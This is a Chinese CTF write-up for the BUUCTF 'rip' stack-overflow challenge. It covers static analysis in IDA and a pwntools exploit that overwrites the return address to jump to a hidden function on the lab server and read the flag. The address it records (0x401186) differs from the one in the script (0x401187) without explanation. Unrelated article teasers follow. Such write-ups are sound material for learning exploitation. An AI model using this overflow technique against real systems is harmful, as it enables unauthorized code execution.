題目:BUUCTF之rip(pwn)

網址

BUUCTF在線評測https://buuoj.cn/challenges#rip打開,如圖所示

提示:先別啟動靶機,靶機可以最后在啟動,先分析下載的附件pwn1。

點擊下載,下載完成之后,該文件后綴類型改為exe(就是將pwn1重命名為pwn1.exe)然后拖到IDA64.exe中。(我不知道后綴類型到底要不要改,網上很多教程都沒講清楚,然后我看了一下ida能打開的文件基本上都是exe的,我就自己改了)

注意:做pwn題目基本都要用到IDA跟虛擬機(Linux),所以要提前裝好。

ida有很多版本,找一個能用的就行

ida及其相關資源網址(盡量找一些綠色網址下載)

IDA Pro入門指南:靜態反編譯神器的安裝與使用詳解-CSDN博客https://blog.csdn.net/qq_47403671/article/details/119939585逆向工具——IDA Pro的使用,從零基礎到精通,收藏這篇就夠了!_ida pro使用教程-CSDN博客https://blog.csdn.net/Python_0011/article/details/146866529IDA Pro 9.0 (macOS, Linux, Windows) - 強大的反匯編程序、反編譯器和多功能調試器 - sysin - 博客園https://www.cnblogs.com/sysin/p/18639073我安裝的是下面這個

[IDA] 加密與解密-ida的下載及詳細安裝過程(附有下載文件)_ida下載-CSDN博客https://blog.csdn.net/2301_77946674/article/details/141942756拖到ida64.exe中后有一些選項,默認就行了

打開后差不多是這樣(我這里已經做完了,不知道怎么恢復原狀)

如果不是這樣的,雙擊左側Functions window下的main,就變成這樣了,再按F5(有些好像是F12),總之一定要出現一下界面

再雙擊變量S,就是第六行的括號中的S,出現以下界面就可以了

注意到右邊兩個藍色S,觀察到S左邊由0變到F,一共是十六位,不管有什么用,先記下來。

雙擊左側fun,得到以下界面(注意看欄目)

如果是以下界面,請按F5(或其他)

拖動分界線,記錄fun函數內存地址0x401186

最后編寫exp(我不會,借鑒別人的)

# 導入 pwntools 模塊
from pwn import *# 和靶機進行連接 
r = remote("node4.buuoj.cn",26817)#這里雙引號里面的替換成自己所啟動靶機的,端口26817一樣替換為自己靶機的# 定義fun函數的內存地址
fun_addr = 0x401187# 定義payload,一共需要十六進制f(16)個字節數據a,需要8個十進制字節數據(b),這些都是垃圾數據
# 最后加上p64函數轉換的fun函數的地址
payload = (b"a" * 0xf) + (b"b" * 8) + p64(fun_addr)# 發送payload
r.sendline(payload)# 獲取靶機交互式終端
r.interactive()

最后使用python運行,建議在虛擬機上操作。Windows上應該也可以

python 1.py #這里1.py替換成自己編寫的python文件

我實在Ubuntu虛擬機上操作的,如圖所示

輸入ls(Linux?ls(英文全拼: list directory contents)命令用于顯示指定工作目錄下之內容(列出目前工作目錄所含的文件及子目錄)。)

觀察到特殊文件(或文件夾)flag,再次輸入cat flag ,結果如圖所示

得出flag

只不過我的虛擬機好像有點問題,在虛擬機中復制,卻在主機上粘貼不了,害得我只能一個個敲出來。

注意

cat(英文全拼:concatenate)命令用于連接文件并打印到標準輸出設備上,它的主要作用是用于查看和連接文件

其他,有需求請看以下網址內容

參考網址

BUUCTF-pwn-rip(第一個棧溢出) - Junglezt - 博客園https://www.cnblogs.com/Junglezt/p/17871927.htmlBUUCTF (PWN) RIP詳細分析_buuctf rip pwn 解法-CSDN博客https://blog.csdn.net/qy201706/article/details/105397766buuctf rip 詳細wp - refrain-again - 博客園https://www.cnblogs.com/refrain-again/p/15001283.htmlpwn學習(3)BUUCTF-rip - 技術棧https://jishuzhan.net/article/1704828218214715393

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/91486.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/91486.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/91486.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

el-button長按觸發事件(含未響應的解決方案)

參考代碼實現按鈕長按觸發邏輯 <template><el-button mousedown"handleMouseDown" mouseup"handleMouseUp">長按我</el-button> </template>data(){return{isPressed: false,timer: null,}},methods:{handleMouseDown() {this.isP…

List和 ObservableCollection 的區別

1. 變更通知機制?? ??ObservableCollection<T>?? 實現了INotifyCollectionChanged和INotifyPropertyChanged接口&#xff0c;當集合元素被添加、刪除、替換或重置時&#xff0c;會自動觸發CollectionChanged事件&#xff0c;通知綁定的UI控件更新&#xff08;如WPF…

支付寶沙箱(白屏,用戶訂單參數錯誤等)

情況&#xff1a;Laravel項目的line 對接 支付寶沙箱測試 手機網站支付 1&#xff1a;沙箱地址&#xff0c;小到我找不到&#xff1a;沙箱應用 - 開放平臺 2&#xff1a;雖然提供了系統密鑰&#xff0c;但是只是測API鏈接的&#xff0c;要沙箱測試轉賬什么的&#xff0c;得用…

【NLP輿情分析】基于python微博輿情分析可視化系統(flask+pandas+echarts) 視頻教程 - 微博評論IP地圖可視化分析實現

大家好&#xff0c;我是java1234_小鋒老師&#xff0c;最近寫了一套【NLP輿情分析】基于python微博輿情分析可視化系統(flaskpandasecharts)視頻教程&#xff0c;持續更新中&#xff0c;計劃月底更新完&#xff0c;感謝支持。今天講解微博評論IP地圖可視化分析實現 視頻在線地…

【代碼隨想錄】刷題筆記——二叉樹篇

目錄 144. 二叉樹的前序遍歷 94. 二叉樹的中序遍歷 145. 二叉樹的后序遍歷 102. 二叉樹的層序遍歷 226. 翻轉二叉樹 101. 對稱二叉樹 104. 二叉樹的最大深度 111. 二叉樹的最小深度 222. 完全二叉樹的節點個數 110. 平衡二叉樹 257. 二叉樹的所有路徑 404. 左葉子之…

基于deepseek的文本解析 - 超長文本的md結構化

pdf超長合同或其他超100頁非結構化文檔&#xff0c;很難全量提交deepseek進行分析&#xff0c;一般需要先進行分割。然而&#xff0c;不管是langchain還是llamaindex提供的文本分割工具&#xff0c;很難直接對非結構化文本進行準確的內容分割&#xff0c;很多原始整體段落被劃分…

介紹一個圖像修復開源項目,從模糊到清晰僅需1.7秒:HYPIR圖像修復技術如何改變數字世界?

文章概要 作為一名長期關注圖像處理技術的愛好者&#xff0c;當我第一次接觸到HYPIR這一革命性圖像修復工具時&#xff0c;我被其驚人的速度和質量所震撼。本文將全面介紹由中國科學院深圳先進技術研究院董超研究員團隊研發的HYPIR圖像修復大模型&#xff0c;詳細解析其核心技術…

基于UDP的SNMP協議

SNMP協議詳解 SNMP (Simple Network Management Protocol)&#xff0c;“簡單網絡管理協議”&#xff0c;是廣泛應用于TCP/IP網絡中&#xff0c;用于管理和監控網絡設備的一種標準協議。它允許網絡管理員查詢網絡設備的狀態信息、配置參數、接收故障告警等&#xff0c;從而實現…

3D空間中的變換矩陣

3D 空間中的變換矩陣詳解 在 3D 計算機圖形學中&#xff0c;所有幾何變換都可以通過 44 齊次變換矩陣 來表示。以下詳細介紹各種變換矩陣及其原理。 核心變換矩陣 1. 單位矩陣&#xff08;不變變換&#xff09; I[1000010000100001] I \begin{bmatrix} 1 & 0 & 0 &…

長連接(Long Connection)詳解

一、長連接基本概念長連接&#xff08;也稱為持久連接&#xff09;是指在一個TCP連接上可以連續發送多個HTTP請求/響應&#xff0c;而不是每次通信都建立新的連接。這是HTTP/1.1的默認行為&#xff0c;通過Connection: keep-alive頭部實現。二、工作原理1. 傳統短連接流程客戶端…

【匯總】接口自動化測試 + 持續集成(文末視頻演示)

技術棧&#xff1a;java testng httpclient allure fastjson jsonpath poi/yaml log4j 有建議請聯系wx&#xff1a;ren168632201 java接口自動化系列(01)&#xff1a;自動化測試框架設計(入門版) java接口自動化系列(02)&#xff1a;測試數據文件設計(excel/yam) java接…

科研快報 |無人機+AI:廣東防控基孔熱背后的技術革命

Prism Path 科 研 快 報 CS跨學科頂尖期刊論文資訊 -NO.2025001- 人工智能在登革熱預防、控制與管理中的作用&#xff1a;一項技術性敘述綜述 The role of artificial intelligence for dengue prevention, control, and management: A technical narrative review 期刊…

常見的中間件漏洞

建議&#xff1a;啟動下一個環境時&#xff0c;將上一個環境關閉&#xff0c;防止端口沖突和運行卡頓1.TomcatTomcat put方法任意文件寫入漏洞Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat 8.5.19環境&#xff1a;cd vulhub-master/tomcat/CVE-2017-12615 docker-compose up -d…

7寸工業模組 XA070Y2-L01芯顯科技詳細參數資料

芯顯7寸工業液晶屏 XA070Y2-L01 技術規格單 基礎信息 項目 參數 制造商 芯顯 型號 XA070Y2-L01 顯示技術 a-Si TN TFT-LCD 應用場景 車載中控 / 工業HMI 屏幕尺寸 7.0英寸 機械結構 特性 指標 顯示區域 152.4 91.44 mm 整機尺寸 165 104.09 9.1 mm 公差范圍 0.5 mm 表面處理…

機器學習基礎-numpy

一、相關知識點二、例子&#xff1a;import matplotlib.pyplot as plt import numpy as npplt.rcParams[font.sans-serif] [KaiTi] # 使用黑體 plt.rcParams[axes.unicode_minus] False # 解決負號顯示問題math np.random.randint(low60,high100,size50) english np.rand…

Cockpit管理服務器

Cockpit 是一個開源工具&#xff0c;通過Web Console管理Linux服務器。部署 Cockpit[rootserver ~ 11:05:26]# yum -y install cockpit?[rootserver ~ 11:30:26]# systemctl enable cockpit.socket --nowCreated symlink from /etc/systemd/system/sockets.target.wants/cockp…

處理訂單過期但支付成功的系統設計:平衡用戶體驗與業務規則

設計一個處理訂單過期但用戶支付成功的場景&#xff0c;需要平衡用戶體驗、系統一致性和業務規則。以下是一個系統化的設計方案&#xff0c;涵蓋關鍵流程、異常處理和用戶溝通&#xff1a;1. 場景分析 背景&#xff1a;用戶在下單后&#xff0c;訂單因超時而被標記為“過期”&a…

AI學習筆記三十三:基于Opencv的單目標跟蹤

若該文為原創文章&#xff0c;轉載請注明原文出處。一、功能介紹主要是想實現跟蹤視頻中的一個特定目標。使用了OpenCV庫來實現視頻中特定目標的跟蹤。需要提供視頻文件路徑以及目標在第一幀中的位置坐標&#xff08;x, y, width, height&#xff09;&#xff0c;程序會自動跟蹤…

第二篇:Three.js核心三要素:場景、相機、渲染器

第二篇&#xff1a;Three.js核心三要素&#xff1a;場景、相機、渲染器 引言 在Three.js的世界里&#xff0c;場景(Scene)、相機(Camera)和渲染器(Renderer)構成了最基礎的"鐵三角"。它們如同導演、攝像機和放映機&#xff0c;共同決定了3D內容的呈現方式。本篇將深入…

RagFlow本地源碼部署(非Docker)

參考官方文檔做個總結 1. 提前安裝好uv pipx install uv pre-commit2. 下載源碼&#xff1a; git clone https://github.com/infiniflow/ragflow.git cd ragflow/ uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules uv run download_deps.py …